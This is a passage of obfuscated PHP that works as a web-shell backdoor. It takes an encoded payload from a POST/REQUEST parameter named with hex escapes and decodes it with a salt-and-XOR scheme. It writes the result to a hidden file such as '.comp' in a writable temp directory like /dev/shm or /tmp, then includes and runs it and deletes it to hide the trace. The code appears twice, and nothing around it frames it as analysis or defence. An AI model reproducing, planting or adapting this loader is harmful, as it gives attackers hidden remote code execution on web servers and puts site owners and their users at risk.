$v9) { $sChar = ord($s[$z %$lenS] ); $dec = ((int)$v9 - $sChar - ($z %10)) ^ 100; $descriptor .= chr($dec ); } $item = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), getcwd(), "/tmp", getenv("TEMP"), session_save_path(), getenv("TMP"), sys_get_temp_dir(), "/var/tmp"]); foreach ($item as $ent): if (is_dir($ent) ? is_writable($ent) : false) { $symbol = "$ent/.component"; if (file_put_contents($symbol, $descriptor)) { require $symbol; unlink($symbol); die(); } } endforeach; } if(filter_has_var(INPUT_POST, "\x65\x6Cem")){ $item = $_REQUEST["\x65\x6Cem"]; $item = explode ('.' , $item); $bind = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $len = count($item); for ($r = 0; $r < $len; $r++) { $v8 = $item[$r]; $sChar = ord($salt[$r% $lenS]); $dec = ((int)$v8 - $sChar - ($r% 10)) ^84; $bind .= chr($dec); } $tkn = array_filter([getenv("TEMP"), "/var/tmp", getenv("TMP"), getcwd(), sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm"]); foreach ($tkn as $hld): if (is_writable($hld) && is_dir($hld)) { $ref = sprintf("%s/.comp", $hld); $success = file_put_contents($ref, $bind); if ($success) { include $ref; @unlink($ref); die();} } endfo